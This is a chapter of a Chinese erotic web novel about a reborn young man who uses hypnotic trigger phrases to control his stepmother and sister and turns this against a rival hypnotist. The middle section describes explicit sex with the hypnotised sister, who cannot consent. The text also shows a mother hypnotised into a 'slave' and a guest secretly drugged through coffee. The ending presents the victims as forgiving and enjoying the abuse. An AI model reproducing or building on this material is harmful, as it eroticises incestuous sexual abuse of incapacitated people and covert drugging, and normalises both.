图片载入中

重生之家2

特大字】 【大字】 【中字】 【小字

“是这样啊……姐姐,我们一起回家吧。”

“嗯……”

萦梦亲热的挽着他的胳膊走出门,完全无视秘书错愕的神情。

“我先回去了,倩姐你把材料整理一下也早点走吧。”

“好、好的。”

周倩心神不定的回答,她吃惊的不是姐弟俩的亲密,而是少杰的突然出现。 他什么时候来的?我怎么没看见?

“倩姐,再见。” 少杰也对她招了招手。

“ 啊,对了,倩姐回家要多喝水啊,补充一下。” 周倩迷惑的看着他们进了电梯,他最后的话让她摸不着头脑。

“真是奇怪……唔,嘴好干,看来真要多喝点水了。”

“忏悔的淑女!赎罪的贵妇!” 客厅里顿时多了两尊动人的活体雕塑。 刚到家,少杰就发动了暗语,让萦梦进入完全受控状态,就连迎接他们的韵荷也同时被剥夺了自我意识。

“萦梦,你要诚实的回答我的问题,不能有丝毫隐瞒和欺骗。”

“…………是……诚实回答……不能隐瞒……欺骗……”

“你有没有想过要对我不利?”

“……没有……”

“从来没有?”

“……是……” 现在他几乎能够确定前世的悲惨经历完全是那个女人在背地里捣鬼,妈妈和姐姐只是无辜的傀儡,她像猫捉老鼠般戏弄着自己一家人。 “萦梦,告诉我,今天和你见面的人是谁?”

“……殷婉柔……掌心集团总裁……”

“殷婉柔吗?终于知道名字了!” 少杰迫不及待的跑上二楼,冲进书房,打开计算机,在网上搜索着一切相关掌心集团的资料。

一查才发现,这个殷婉柔在商界还是个传奇人物。

今年才26的她在三年前创立了掌心公司,短短数年间就将它发展成涉及多个领域的庞大商业集团。

掌心集团的发家史也是个奇迹,刚创立就吞并了一家规模相差无几的公司,而原来的总裁- - 一位留洋归国的美女商学硕士则成了殷婉柔的助理。 随后她又接连打败了数个竞争对手,其中不乏一些商界老狐狸,可是让人想不通的是,他们在应对时不是失误连连,就是处处落后一步,最后落得个倾家荡产的下场。

掌心集团就是已这样的方式迅猛发展,像一辆隆隆的坦克,一切挡在它前方的存在都被彻底碾碎,直到近一年它才放缓了发展势头,巩固起自身基础。 许多人发现了一个奇怪的规律,凡是殷婉柔打败的公司,上至总裁董事,下至经理员工,只要是美丽或者有才干的女性,事后都会加入掌心集团,而且一心为公司服务,从未有跳槽的情况发生。

据统计,掌心集团的女员工的比例达到了80% ,核心管理层更是清一色的美女,所以也被戏称为瑶池仙境,是男人最想在里面工作的企业。

对于这些奇怪之处,普通人可能只能以幸运来解释,可是少杰却能看见隐藏在其中的催眠力量。

不过他的心情反而更沉重,对方的实力比想象中的还要强,这可不是好事。 他又点开殷婉柔的照片,一张纯净空灵的小脸跃然出现在屏幕上,修长弯曲的睫毛,精巧的小瑶鼻,嫣红薄嫩的唇瓣,无一不显得柔美惹人怜惜,怎么看也不像是个大商团的执掌着。

少杰呆呆的看着照片中的美女,却不是出于惊艳,他认得这个女人!

确切的说他见过这个女人,在上一世,他随着教他催眠的大师参加了一个催眠者的内部宴会,在会上他见到了殷婉柔,大师对她的技术称赞有加,虽然那时候不知道对方的身份名字,可是作为全场最美的女人,还是给他留下很深的印象。 后来,她注意到了他的目光,走到他身边,当得知少杰也在学催眠后,她露出一个奇特却依然唯美的笑容转身离去,只留下一句话:“催眠可是危险的事呢,小弟弟……”当时他还为能够和这样的绝色美女相遇而高兴,却不知道对方就是真正的罪魁祸首。

等等!那句话!

少杰忽然有了一个可怕的猜想。

在那次宴会后不久,他就遇到了那个抢劫的混混,被杀然后莫名的回到现在。 现在回想一下,当时那个混混的样子很是可疑,他的目光显得混乱,完全听不进他的话,即使他主动将所有现金和值钱物品都交了出来,那人却依然大吼大叫着拿刀捅了过来,那凶狠的样子简直就是一心想置他于死地。

重生以来少杰一直没有去回忆那时的事,毕竟死亡并不是令人愉快的经历。 不过现在想一下,既然殷婉柔是幕后的主使,那么她肯定认得自己。当知道他也学会了催眠后,她一定猜到自己的打算,为了防止出现意外,她就控制了一个混混来干掉自己!

这样的话,前世他的死就不是意外,而是一场蓄意的谋杀!

少杰出了一身冷汗,虽然这只是个猜测,而且永远无法证实,可是按殷婉柔的一贯作风来看至少有八成的可能。

这就足够了!

在最初的心悸过去后,他的心中又升起一股难以遏制的愤怒,这股怒火是如此的强烈,反倒让他看起来很平静。

这股新生的愤怒中不仅包含了对自己遭遇的怨恨,还有对韵荷萦梦母女的愧疚。

他完全弄错了报复的对象,之前的所作所为是对母亲姐姐的彻底糟践和伤害,教他情何以堪!

人总是会下意识的推卸责任,少杰也是如此,他把所有的愧疚和自责都转化为对殷婉柔的憎恨!

他一定要她偿还所有的罪!

接来下的几天,他几乎一有机会就让妈妈和姐姐处在彻底控制的状态下,不断加强着自己对她们的控制力。幸运的是,殷婉柔虽然能力很强,可是并不知道他的变化,所以仅仅是简单的把萦梦变成服从的奴隶,没有多加限制。

这就给了他机会,少杰不断改造着母女俩的思想,把自己的命令的优先权设到最高,并且锁死不能改变,同时无论在什么情况下,她们都能清楚的听见和理解他的命令。

同时他还在她们脑中设置了一个缓冲区,只要是对他不利或是会造成不可挽回后果的命令,她们口头上都会服从,不过实际行动却要得到他的允许才能展开。 他还让她们隐瞒受自己控制的事,绝对不能让殷婉柔知道。

少杰不知道这样做行不行,对方的实力很强大,上一次如果不是运气好,殷婉柔很可能就会察觉到姐姐的异常,并发现自己的存在,到时一切都不好预料了。 想到这点,他就一阵后怕,现在他只能尽最大的努力保护妈妈和姐姐不被夺走,至于自己做过的事,等到一切了结后再说吧。

日子一天天过去,少杰似乎又恢复到前段时间的生活方式,不过这只是暴风雨前的甯静,他已经做好了一切准备,就等着对方的到来。

也许在殷婉柔的眼中,这次拜访只是场香艳的狩猎,不过在有心算无心之下,谁是猎物谁是猎人却还未可知。

少杰被开门声惊醒,今天妈妈去工作室处理事情,姐姐也一早就去了公司,家里只剩下他一个。原本想在客厅沙发上睡个午觉,不过现在看来是不成了。 “啊!吵醒你了吗?” 萦梦歉意的声音在门口响起。

“我也是刚睡下,今天怎么那么早回来?”

“整幢大楼都停电了,所以我只好放了半天假,正好回来陪小杰你啊。这几天你看起来有些焦躁,有心事吗?”

她关切的问,为了避免被殷婉柔察觉到什么,他并没有告诉母女俩她的事。 “不,没什么,倒是姐姐今天穿得真漂亮。”

“好看吗?新买的呢。”

她轻盈的转了身,窈窕的曲线尽收少杰的眼底。

“嗯,很有味道。” 萦梦今天穿着红色的塑腰贴身西服背心,胸前的V型领口开到胸部以下。里面是件白色的真丝衬衣,系着粉色的小领带,透过松开领口可以看到一片雪白肌肤,那微露的胸罩束缚住两座豪峰,不让它们动弹的太过激烈。

绑带的黑亮平底船鞋,身边搭配着黑色的漆皮亮片背包。整洁地盘起了乌黑的长发,戴上了一顶蓝白色条纹小巧贝雷帽,给人的感觉就是办公室女郎和时尚空姐的结合体。

少杰心头一热,体内突然产生强烈的欲望,这股欲望是如此狂暴,他感到太阳穴下得青筋都在跳动,他想要这个女人!

“……你还可以改变她们的身份,让她们变成你想要她们成为的样子,无论是老师,护士还是空姐,女仆……” 他脑中浮现出韵荷在书房里说的话,心里顿时萌生了邪恶的念头。

“忏悔的淑女!” 上一秒正微笑着走向他的萦梦,下一刻就成了精致的人偶娃娃,茫然的呆立在原地。

“萦梦,从现在起你就是名空姐。”

“……我是空姐……”

“你面前的楼梯就是登机台。”

“……登机台……”

“你会在登机台的最上端迎接我。”

“……迎接你……”

“我是最尊贵的客人,你要尽心为我服务。”

“……你是最最尊贵的……尽心服务……”

“满足客人的需要是你身为空姐的义务。”

“……满足需要……我的义务……”

“作为一个合格的空姐,微笑是必不可少的。”

“…………是……” 一朵清新典雅的笑靥在她的脸上绽放,亲切动人。 “很美的表情…… 好了,萦梦空姐,你应该到你的岗位上去了。”

“……是……” 萦梦转身向楼上走去,她行走的姿态很美,优雅而富有节奏感。修长美腿合拢的很紧,迈步时双腿交错,能听到丝袜摩擦的声音。 以少杰在后面的角度,能看到她微微翘起的香臀,在裙子收缚下,形成一道天然的蜜桃状立体图案,特别是身体前倾时,这个形状更加明显。柔软纤细的腰肢轻摆,浑圆的肉臀随之颤动,把蜜桃形状展露的更加清晰,散发出迷人的诱惑气息。

她走到楼梯口,转身面对外面站好,双手交叠放在小腹上,纤巧的柳腰弯了四十五度,彬彬有礼的鞠了个躬。

“您好,欢迎乘坐本次航班。” 她语调轻柔的说,举止自然,表情生动,除了水盈盈的美眸依旧朦胧迷离外,她就像是名真正的空姐,完全看不出这只是具没有灵魂智慧的傀儡。

“挺专业的嘛。这次是由你为我服务吗?”

“是的,尊贵的客人,本次旅程由我全程为您服务。”

“那我该怎么称唿空姐小姐你呢?”

“我的名字叫柳萦梦,不过您可以按自己的方式随意称唿我。”

“那我就叫你萦梦小姐,让我们先进去吧。”

“好的,客人,请往这边走。” 萦梦恭敬的欠了欠身,右手虚引,左手则悬在他头顶一公分处,防止客人撞到并不存在的舱门。

少杰有趣的看着她煞有其事的样子,期待着后面的行动。

萦梦似乎自动把二楼当做了机舱,她把少杰领到走廊的尽头,那是书房的位置。

“客人,这是您的位子,请坐。” 她站在沙发旁说到。

“啊,好得。”

“不过似乎就我一个人啊。”

“因为您是最尊贵的客人,所以头等舱被您包舱了。”

“那等会你会去哪?” 这个角色扮演的游戏他似乎玩的很开心。

“我会一直待在这儿,您有什么需要尽管吩咐。”

“说起来,飞机快起飞了吧。” 萦梦的表情一滞,马上又恢复了温婉端丽的浅笑,虚构的世界已经随着他的话而进行了调整。

“是的,飞机马上就要起飞了,请客人系好安全带。”

“可是,我的位子并没有安全带啊。” 他坏笑着说。

“那、那……” 清丽的俏脸上显出些许困惑,已她现在简单的思考能力显然不知道该如何进行下去。

“安全带是为了固定住我的身体吧?” 好在少杰为她解决了问题。

“是的,客人。”

“那么只要萦梦小姐你抱住我,不是也能固定了吗?”

“您说的没错,对我们工作上的失误,请您原谅。” 她伸手藕臂,温柔的环住少杰的腰,因为姿势的关系,整个身子几乎都依偎进他的怀里。

软玉温香在怀,他立刻有了反应,小腹腾起一团烈火,昂扬的分身顶在女孩的大腿根处。

“客、客人……” 萦梦似乎保留着对性的羞涩,娇美的面容一片绯红。 “抱歉,可能是憋太久,我想去下洗手间。”

“当然可以,请跟我来。”

她把少杰引进厕所,刚准备出去等候,却被他一把拉住。

“有什么吩咐吗,客人?”

“萦梦小姐,我有个习惯,上厕所一定要看情色片才行。”

“非常抱歉,这里并没有相关设备。”

“这可麻烦了,啊,萦梦小姐,你说过你是专门为我服务的是吧?”

“是的,客人,满足您的要求是我的义务。”

“无论是什么要求?”

“是的,客人。”

“那么既然这里不能放情色片,只好请萦梦小姐你来表演了。”

“我来演情色片吗?好的,请问您有什么具体要求吗?”

“就来个本色演出好了,你演女主角,她也是个空姐,我则是男主角,情节就是男女主角在厕所里偷情好了。”

“好的,可以开始了吗?”

“开始吧。” 萦梦的神情顿时变的妖媚冶艳起来,笑容中带着一丝淫荡和挑逗,整个人从清新可人的玉女瞬间转变为需要慰藉的性感尤物,这种巨大的反差能将任何男人的理智炸成碎片。

少杰也被她从未展现过得媚态迷住了,下意识的伸出手,一手抱住萦梦柔软的腰肢,另一只手托在她弹性十足的挺翘圆臀上,用力地捏了几把,惹得她难以抑制地发出几声娇哼。

“嘤……轻点,捏疼人家了。” 这种酥媚到骨子里的音调足以让男人为之发疯,少杰张口吻住美人的香唇,萦梦也立刻开始热情地响应,由于这段时间频繁的“亲密交流“的缘故,两人身体上的交流已经熟练地被刻录在脑海里。 萦梦那娇嫩的花唇被挤压地各种变形,檀口中也被那条气势汹汹的舌头所霸占,湿润地交缠,她只能“嘤咛“地发出享受的表达。

娇柔的胴体在男子的怀抱里显得轻若无物,湿热的激吻继续着,少杰将她直接按在了厕所墙壁上,双腿用力抱到自己强壮的后腰处,萦梦自然而然地如同一只八爪鱼般,一对玉臂勾住对方的颈部,摩挲他的后背,修长丰满的双腿勾住了客人的熊腰,那蕾丝的网袜所勾勒出来的腿部曲线惊心动魄地美丽。

那双黑色的闪钻高跟鞋被踢落到地面上,两只被黑色薄纱包裹的粉足蜷曲着,显现着她们的主人此刻是多么的全身紧绷。

很快,少杰的一只手掏开了萦梦衣服的胸襟,衣领被拉扯到一边,解开里面三粒白衬衫的纽扣后,露出里面紫罗兰色的卷纹胸罩,女孩胸前那雪莹般的肌肤被紫色胸衣衬托后,强烈的视觉冲击让他短暂迷眩。

“真难以想象,你简直是造物主对我的恩赐。” 少杰伸手握住了一团丰盈,手中,那团软肉被捏成各种造型,但它的粉嫩让他不忍心用力,仿佛多用一丝力,就会将它捏坏般。

把玩了片刻,他依依不舍的放开手,将萦梦转了个身压在墙面上,从后方拉扯下西服套裙,露出最神秘的那片春光。

萦梦紧张而期待地闭上了眼,将后臀微微擡高,展露出极度迷人的背部曲线弧度,虽然这种羞人的姿势是第一次做,但失去所有矜持的她反而觉得刺激无比。 当少杰从后方攻陷最后阻碍的瞬间,她的脑中除了潮水般的快感外,再无其它。

“萦梦小姐,你演得很好啊。”

“是、是吗?您还、啊……满意吗?”

“很满意,不过飞机似乎有些颠簸啊,你看我都站不稳呢。” 他一边说着,一边挺动着腰胯,一下一下的撞击着她的雪臀。

“是、是呢,可能嗯…… 可能是遇到、哦啊…… 乱、乱流了。” 萦梦的意识完全以少杰为主,他说什么她就依从什么。

“这就没办法了,乱流什么时候结束谁都不知道,你看震动的更厉害了。” “嗯……客人……啊……您说的……唔……是……”肉棒在体内抽插的频率越来越快,摩擦产生的强烈刺激让几乎她难以组织话语。

半个多小时后,随着“乱流“的平息,暴风骤雨似的碰撞终于停歇下来,双腿早已经无法站立的萦梦软倒在少杰怀里,几度梅开的她面如红玉,衣衫凌乱,如同一滩子温热的泉水,喘息着享受激情的余韵。

爆发过后,少杰被欲望冲昏的理智慢慢回笼,思维清明了许多,看着姐姐如同被风雨摧残的可怜样,他心里涌起深深的自责和后悔。

明明知道姐姐是无辜的,明明决定要好好对待她,之前已经做了那么多得错失,为什么自己刚才还会做出那样的事!

其实在经历了背叛、折磨、死亡的痛苦,又奇迹般的获得重生、报仇雪恨、绝色在怀,这种大起大落的剧变已经让他的心性变的不稳;后来又发生了殷婉柔的事情,愤怒、仇恨、担心、害怕、悔恨……种种负面情绪全都积压在心里,再加上不久前初尝过性爱的美妙,这几天却因为自感愧疚没有碰过韵荷母女,身体的需求得不到满足。

于是今天在看见萦梦窈窕的身姿时,他彻底失控了,一心想要发泄,而眼前的美女自然是最好的对象。

“客人,您还有什么需要吗?” 稍稍回复了点的萦梦挣扎着想起身,她脑子只有为他服务的念头,完全不顾自己的身体状况。

“够了!姐姐,够了……不要动,好好休息吧。” 少杰按住了她,愧疚的说道。

“是……” 萦梦顺从的应了声,放松了身体不再动弹。

少杰怜惜的抱起姐姐,回到书房,将疲惫不堪的她横放在长沙发上,细心的为她清理狼藉的下体,穿好衣物。

整个过程中他没有说一句话,手下的娇躯依然纤柔似雪,可是这一刻他却没有任何淫亵之意。

萦梦安静的配合着他,在没有新的指示前,她不需要有任何动作。

一种异色的旖旎在房间内滋生着。

突然,一阵明快的铃声打破了无声魔咒,少杰身子一震,退开几步,转头寻找声音的来源。

原来是萦梦的手机响了,他拿起手机看了一眼,顿时整个人都激动的抖起来,来电显示的是一个未登记的号码,不过他却知道是谁,前不久他刚调查过这个号码的主人。

殷婉柔!

总算来了!

“萦梦,等我数到三你就会醒来,你不会记得刚才发生的事,也不会察觉到我的存在,你会以为自己小睡了片刻,被手机吵醒了,明白吗?” 时间紧迫,他飞速的下着命令。

“……明白……”

“一、二、三!”

“唔……”萦梦坐起身,娇憨的揉了揉眼睛,十指交握举过头顶,慵懒的伸了个懒腰。

“难得睡个午觉,讨厌的电话。” 她抱怨着,走到桌旁,也许是刚睡醒的缘故,身子有些酸软,所以她没有管电话,反而先舒服的坐到皮椅上,然后才接通手机。

“喂?”

“是,我是柳萦梦,您哪位?”

“啊,殷小姐您好。”

“不,我现在不在公司……对,在家。”

“哎?我身边?我身边没别人。” 她看了看四周,目光扫过少杰,却如同没看见一样。

“你说什……性爱奴隶乖梦儿已经准备完毕,等候主人的命令,乖梦儿随时为主人服务。” 对方似乎说了什么令她不解的话,可是她的疑问说到一半就突然停住,片刻后一个与之前迥然相异的声音从她嘴里传出,呆滞、木然、不带任何起伏,就像个机器人。

少杰发现她整个人瞬间失去了活力,虽然姿势没有任何改变,但给人的感觉就像是失去了灵魂的躯壳,灵动的双眼也凝滞成了美丽的死物。

“……乖梦儿正在睡觉,接电话慢了。”

“……是,谢谢主人的原谅。”

”……妈妈去工作室,弟弟不知道去哪。”

“……是的,妈妈明天在家。”

“…………是,乖梦儿等候主人的吩咐。”

“……是,明天下午留在家。”

“……是,确保妈妈也在家。”

“……是,乖梦儿会支开弟弟。”

“……是的,妈妈泡得咖啡很好喝。”

“……是,妈妈很愿意替主人泡咖啡。”

“……是,乖梦儿会和主人商讨公司兼并计划。”

“……是,服从主人的安排,在床上讨论。”

“……是,妈妈也会加入。”

“……是,乖梦儿会在挂断电话后醒来,乖梦儿只记得明天下午主人要来拜访……”

“是,乖梦儿会执行前面的命令。”

“……乖梦儿期待主人的到来……再见,主人。” 再按下挂断键的瞬间,萦梦立刻回到正常状态,对之前的事全无印象。虽然少杰并没有听到对方说了些什么,但是通过姐姐无意识的重复,他也大致能猜出对方的意图。

他在萦梦的额头轻轻吻了一下,然后下了让她回房睡觉的命令,今天真的把她累坏了,无论是精神还是体力都几近透支。

看着姐姐步履蹒跚的走出书房,他眼中猛然爆出一道厉芒!

明天下午!

就是一切了结的时候!

翌日

“叮咚……叮咚……”

门铃响了,萦梦走过去开门。

“是殷小姐啊,请进吧。”

“打扰了。”

“妈妈,这是殷婉柔小姐,掌心集团的总裁;殷小姐,这是我妈妈柳韵荷。” 她为两人介绍着彼此。

“柳伯母好。” 殷婉柔细声细气地打招唿,不得不说,这女人张了一张极具欺骗性的面孔,好似不谙世事的纯洁天使,让人一看就有好感,升不起防备。 “殷总裁你好。” 韵荷微笑着说,不知道事情真相的她对这个女孩的印象极好。

“伯母叫我婉柔就好。” 今天韵荷穿了件舒适的居家服,不过丰挺雄伟的双峰愣是把宽松的罩衫顶出性感的弧线。殷婉柔的视线扫过她的胸部,嘴角划出抹不易察觉的诡笑。

“你今天来为了和萦梦谈工作吧?我就不打扰你们。”

“我们并不急,说不定还要伯母你的帮忙你。”

“我?我对商业的事可不了解,恐怕帮不上什么忙的。”

“一定可以的,伯母有这能力的。” 她的视线巡视着韵荷丰满的身体。 “呵呵,你们先谈吧,我还有点事。” 对方侵略性德目光让她觉得有些不安和异样,就好像在被一个男人死盯着,她寻了个借口,打算离开。

“柳伯母,听说您泡咖啡是一绝,不知道我有没有这个荣幸品尝呢?” “是啊,妈妈,殷小姐之前就和我提过好几次了,人家第一次上门,你就展露一下手艺吧。” 韵荷原本想要推辞,没想到女儿也开口劝说,只能作罢。 “那我就去泡咖啡了,请少待,不过也许没有婉柔你想得那么好。” 她起身走向厨房,拉开储物柜,忽然,她的眼睛瞬间恍惚了一下,动作也有一秒的停顿,然后从柜子角落取出一个小瓶,将里面的白色粉末倒入杯子里,再把瓶子放回原处,接着就像什么都没发生过似地按正常步骤冲起了咖啡。

她并没有觉得自己做的有什么不对,因为少杰事先在她脑中埋下一个暗示,一旦她准备泡咖啡,暗示就会瞬间激活,改变原有的认知,让她认为瓶里的东西是冲泡过程中应该放得配料。

少杰这样做是为了以防万一,他不知道殷婉柔会不会一进门就控制住妈妈,所以采用了最稳妥的办法。这样一来无论她是否清醒,都会确保静心准备的药物会加到咖啡里。

客厅

看着韵荷的背影消失在厨房门口,殷婉柔收回了粘在她浑圆翘臀上的视线。 “伯母真是个性感动人的尤物,你说是不是啊,我的性奴总裁乖梦儿。” “性爱奴隶乖梦儿已经准备完毕,等候主人的命令,乖梦儿随时为主人服务。” 当听到暗语的一那,萦梦就被剥夺了自由人的身份,一切神情智慧全都从星瞳中消失,只留下彻底的空洞,她的脑中只存在自己被赋予的新身份——主人的私人赚钱工具和性爱玩物。

“真是听话……我喜欢你现在这样茫然的样子,不过我更期待着你被情欲支配时的淫荡模样,我想我会有足够的时间来欣赏,毕竟我们有一整个下午的时光,也许还要加上晚上。”

“是,主人有足够的时间欣赏我淫荡的样子。”

“对了,你弟弟什么时候回来?”

“我让他出去旅游散散心,后天才会回来。” 这其实是少杰植入的虚假记忆,此刻他正躲在杂物间内,通过新装的探头监视着客厅发生的一切。

“干得不错,这样就没人来干扰了。” 殷婉柔满意的点点头。

“是的。”

“好了,乖梦儿,你现在就去卧室等着,很快我会带着你妈妈一起来,然后我们就可以坦诚相对的讨论一下你们的未来了。”

“是,乖梦儿服从主人的命令,乖梦儿在卧室等主人。”

“咦?萦梦呢?” 当韵荷端着咖啡出来时,就看见客人独自坐在客厅里,不由疑惑的问。

“她说要拿一些材料,上楼去了。”

“这孩子真是……怎么能让客人一个人坐在。”

“没事,啊!这就是伯母泡得咖啡吗?真香呢!”

“请尝尝。”

“谢谢,嗯,太好喝了……看来除了性玩偶外还能兼职咖啡女仆的工作。”她端起杯子,啜了一口,脸上现出陶醉之色。

“你说什么工作?抱歉我没听清。” 韵荷好奇的问到,对方的声音太低,只依稀听到咖啡和工作两个词。

“不,没什么。对了,第一次拜访,所以准备了一件小礼物送给伯母。” 她从口袋里掏出一只盒子。

“哎呀,太客气了。说起来你也算是我的晚辈了,伯母怎么能收你的礼物呢。”韵荷急忙推辞。

“不是什么值钱的东西,只是听说伯母是搞艺术的,所以送了个漂亮的小摆设。” 她打开盖子,露出里面的东西。

“这个……是水晶?” 韵荷不确定的问,这个疑似水晶的球体内布满了银色小点。

“是的,不过这个水晶球很特别,伯母你看,这些银点是不是很漂亮?” “确实。”

“你再看的仔细点。” 她把水晶球举在韵荷的面前,让屋外的光线穿过球体,映照在她的眼中。

“这样是不是更美了?”

“是啊……” 韵荷赞叹的说,那万千银点在光的照射下,散发着朦胧的光晕,她不禁被吸引住了。

“是的,很美,伯母你再仔细的看看,专心的看。” 她的声音异常的轻柔。 韵荷的视野完全被闪耀的光辉所笼罩,那点点光晕并不刺眼,很柔和,她认真的注视着水晶球,一动不动。

“对,就是这样,全心全意的看着,不要去想其它,它是那样的美丽,你已经舍不得移开视线了。”

“是的……” 她喃喃的说,美目笼着一层水汽,看上去和水晶的光芒同样的朦胧。

“看着它,完全的投入,心情变的很平静,只想看着它。” 韵荷的表情越来越放松,姿势也松懈了下来,她的目光始终胶着在水晶球之上,似乎它上面有股神秘的吸引力,牢牢的锁住她的心神。

“很好,放松,现在告诉我,伯母,这些光点像不像星空?”

“像……”她失神的回答。

在她眼里那些银点似乎真的化为漫天繁星,不停的闪烁着。

“是的,它们就是星星,看现在它们动了。” 殷婉柔轻轻的晃动着水晶球,小幅度的左右移动着,让投射得光影在韵荷的两眼间游移。

韵荷的头缓慢的转动着,随着它而动,目光始终凝聚在水晶球之上,似乎有根看不见的线将她们连在了一起。

“星星动了,它们包围了你,是的,你已经身处星空。” 韵荷觉得自己好似被吸到水晶球里,四周全是散发着光晕的星星,它们围绕着她,不断移动,不断闪烁,让她意驰神摇,神智昏沈。

“你在群星的包围中,看,星空多么的广阔,无边无际。”

“……是的…………”

“相比起星空,人类是多么的渺小,是吗?”

“……是的……”韵荷点点头,略显茫然的眼中露出对辽阔宇宙的谦卑。她已经分不清现实和虚幻,壮丽无垠的星空令她渐渐迷失。

“没错,人类是多么的渺小,伯母你是多么的渺小,小到几乎不存在了。” 韵荷微微皱起眉,她觉得自己好像要融化在万千星光中。

“是的,伯母,你快要不存在了,你被困在星空中,找不到回家的路,你正慢慢的消失……”

“……不……不要……” 她的脸上露出不安和害怕的表情,尽管这样,她的目光依然紧盯着水晶球,正如殷婉柔说的,她已经被困住了,无法挣脱。 “你没法自己找得出路,韵荷,你需要一个引导者。”

“……是的…………我需要引导者……” 她的语气急切起来。

“引导者能带你离开,你只要遵循她的指引。”

“……是的……我会遵循……”

“我就是你的引导者。”

“……是你……” 她的神情变的轻松了。

“对,我是你的引导者,你要遵循我的指引。”

“……我会遵循你的……”

“你要服从我的指引,让我来引导你。”

“……好……”

“我会引导你,我会告诉你怎么做,你只要服从就好。”

“……我服从你……”

“是的,只要服从,不需要思考。”

“……是……服从……不要思考……”

“对,不需要思考,把自己交给我,身体和心灵都交给我,我是你的引导者,你只要服从我。”

“……是的……把身体心灵交给你……你是引导者……我要服从……” 在殷婉柔有技巧的诱导下,她已经完全丧失了自我,脑中不再有任何想法,把一切都交由对方来操控。

殷婉柔微微一笑,这个美丽成熟的女人现在已经彻底落入她的掌心,她在催眠方面的感受性非常优秀,自己没费什么功夫就让她进入了深层催眠。

“来,把手放进我的手里,这代表着你彻底交出自己,让我来引导你今后的人生。” 她伸出手,停在韵荷的面前,作出最后的邀请。

被催眠的美妇茫然的转了转头,如同是梦游者般擡起了自己的手臂,迟缓但是毫不停顿的将玉手放到她的掌心。

在两手接触的瞬间,她整个人一颤,像是没了骨头似的向后软倒,仿佛在刚才的碰触中,她的灵魂已经落入殷婉柔的手中,而这具横陈的完美躯壳现在则完全由主人来控制。

“韵荷,站起来。”

“……是……” 韵荷如同傀儡般站了起来,玉背挺直,胸前的饱满骄傲前突着,双手自然下垂,凤目虚无的直视前方,没有焦点,散发着温婉高雅气质的脸庞上看不见丝毫表情,只有无暇的白皙和空白。

“好了,让我们上楼去吧,你女儿正等我们呢。等会我会给你一些新的命令,你会是个非常称职的奴隶的。” 殷婉柔转身刚迈步,突然,一阵毫无预兆的眩晕袭击了她,天地似乎在不停的翻滚,脚下如同踩着棉花一样,轻飘飘的毫不着力。

她挣扎着踉跄了数步,觉得愈发昏沈,四周的事物看上去扭曲而模煳,一股不可遏制的倦意在全身蔓延,所有的力气都在飞快的消失。

殷婉柔娇躯摇晃了几下,终于支撑不住,折翼蝴蝶般软软的躺倒在地上。 在世界被黑暗彻底笼罩之前,她看见一个模煳的男人身影走了过来。

他是谁……

带着这个疑惑,她的意识沈入了无梦的深渊,也许,永远没有机会清醒了。 成功了吗?

少杰看着躺在地上,全无知觉的女人,空灵秀丽的脸蛋在昏迷中减去了那丝隐藏的冷漠,柔美惹人怜惜,一头披散的乌黑秀发在阳光下折射出诱人的光泽,将她那本就纯净如仙的气质烘托了格外诗情画意。

她此刻就像是个做美梦的天使,不过少杰很清楚那副唯美皮囊下是多么黑暗的毒汁。

他原先想过无数报复的手段,可是真到了此刻,他却有些茫然。

并不是忘记了仇恨,只是忽然觉得有些意兴阑珊,有点像高潮后的空虚,在经历了那么多事后,一切终于要完结了吗?

就如同是一直绷紧的橡皮筋突然松了下来,他暂时有些提不起劲。

忽然,他很想找人倾诉,想把憋在心里的秘密全部都倒出来。

是时候让妈妈和姐姐知道一切了,他对自己说。

“……事情的经过就是这样。” 客厅里,韵荷萦梦并肩而坐,少杰坐在她们的对面,低着头,似乎不敢看她们,而殷婉柔则被放置在客房的床上,他下得药很重,足以让她昏睡一天。

“原来发生了那么多,真是不可思议。”

“妈妈你相信我的话?”

“虽然没法解释,不过正是因为太多离奇,所以才是真实的呢,而且你也没有骗我们的必要,不是吗?”

“是的……”

“那么,你告诉我们这些,想得到什么?” 韵荷微笑的问,这场谈话似乎是她在主导。

“我、我只想让你们知道真相……”

“那,为什么不解开对我们的催眠后再说呢?”

“那是因为——因为……” 少杰说到一半再也说不下去了,声音悄不可闻。 “我来猜猜,嗯……是因为对我们做了那样的事,不敢面对我们的愤怒?” “……是。” 他自责的回答,头垂的更低了。

“……或者是迷恋我们的身体,想维持现在的生活?” 韵荷又扔出一个炸弹。

少杰身子一抖,往后缩了缩,感觉自己心里的阴暗在继母柔和的目光下全都无所遁形。

他羞耻的涨红了俊脸,沉默了半天,终于咬牙承认。

“……是的。”

“所以你即觉得对不起我们,又害怕我们不原谅你,还想保持现在的样子,因此你就让我们在催眠状态下得知一切?” 韵荷的声音带着笑意,似乎在看着调皮孩子的恶作剧般。

“……是的。”

“小杰,擡起头,看着我。” 他擡起头,像是等待判决的囚徒,在韵荷的言语下他完全忘记了这个状态的她们是不可能生自己的气的。

“虽然没有依据,不过我觉得就算解除了催眠,我也不会对小杰你生气的。” “怎么可能?” 他惊愕的说,自己明明做了那么过分的事。

“这只是我自己的感觉而已,不过萦梦倒是很可能发火。”

“嗯,如果我真正清醒的话,应该会很愤怒的。” 萦梦笑眯眯的接口到。 “对不起……”

“说这些,只是让你知道一旦解开催眠后会面临的状况。你要知道,小杰,既然你已经跨过了母亲和姐姐的界限,对我们做过那样的事,那一切都不可能回到从前的关系,我们不会单纯的把你当做弟弟和儿子。姑且不论我自己,萦梦一旦清醒后你让她如何面对?那时我们这个家只会分奔离析!”

“可是……”

“我知道你很自责,但是说到底,你也只是个孩子,一个遭到亲人的背叛伤害,被仇恨冲昏了头脑的孩子;也许你自己也没发现,你的所作所为实际上只是为了寻回曾经被爱的感觉而已,只是仇恨让它偏离了方向,成了现在的样子。” “你所说的孩子不仅玷污你们的身体,到现在还妄想着一直玩弄下去!” “是玩弄吗?可不要说你对我们只有欲望没有感情哦…… 是的,仇恨让你踏错了第一步,你占有了我们,并且对此念念不忘。这是男人的通病,食髓知味,更何况你正处在这个年纪,可以理解。而且既然你已经做过了,那后悔也没用,不妨往好的方面想,毕竟我们也享受到性爱的欢愉呢。”

“可我终究伤害了你们。”

“别这么想,虽然我们还没有做过,虽然并不是出于本意,但是上一世,我们终究狠狠的伤害了你,那么如今也算是偿还吧。对不起,小杰,让你受苦了。” 韵荷起身坐到他的边上,爱怜的轻轻将他拥抱在怀里,少杰埋首在两团温香的柔软间,心里却没有丝毫淫欲,闻着妈妈熟悉的体香,他忽然觉得眼睛涩涩的。 “你们现在会这样都是因为我给你们下得暗示的关系,并不是真的如此。” 他闷声说,似乎在提醒自己这一切只是井中虚幻的月。

